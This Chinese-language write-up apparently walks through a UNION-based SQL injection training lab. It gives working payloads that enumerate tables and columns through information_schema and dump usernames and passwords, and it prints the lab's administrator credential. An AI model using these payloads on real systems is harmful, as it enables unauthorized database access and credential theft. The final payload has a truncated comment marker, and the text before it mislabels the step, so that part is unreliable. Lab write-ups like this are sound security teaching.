# Web SQL injection Lab5 這題 Lab 是一個經典的 UNION-based SQL Injection(聯集查詢型 SQL 注入),目的是透過注入來: - 列出資料表名稱 - 找到帳密儲存的表格 - 查出帳號與密碼欄位名稱 - 查出所有帳密內容 - 用 administrator 的帳號登入完成挑戰 一樣先進到網站裡。  先攔截請求並修改。 ``` '+UNION+SELECT+'abc','def'-- ```  都有顯示出來,所以可以進行下一步。 接著列出所有資料表名稱。 ``` '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- ``` - information_schema.tables 是一個資料庫中的系統表,用來儲存所有資料表的清單。 - 我們這裡選擇顯示 table_name 作為第一欄(因為我們剛剛確定第一欄會顯示),第二欄用 NULL 補上欄位數。  觀察頁面,看是否有類似 users 的表格名稱出現。  顯然有一個可疑的`users_bohews`,所以我們列出表格內容。 ``` '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_bohews'-- ``` - 指定查詢的 table 是 'users_bohews'。 - information_schema.columns 是儲存每個表格欄位名稱的系統表。 - column_name 是你要查的欄位名稱。 確定兩個欄位 `username_rjndxh` 和 `password_amzgiy` 分別是存放 username 跟 password。  確定會顯示文字在畫面上後,最後就來顯示資料庫版本。 ``` '+UNION+SELECT+username_rjndxh,+password_amzgiy+FROM+users_bohews- ```  確實查到了帳號密碼,所以我們拿去登入看看。 `administrator:dqvjlxzmzckpu0665fm9` 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up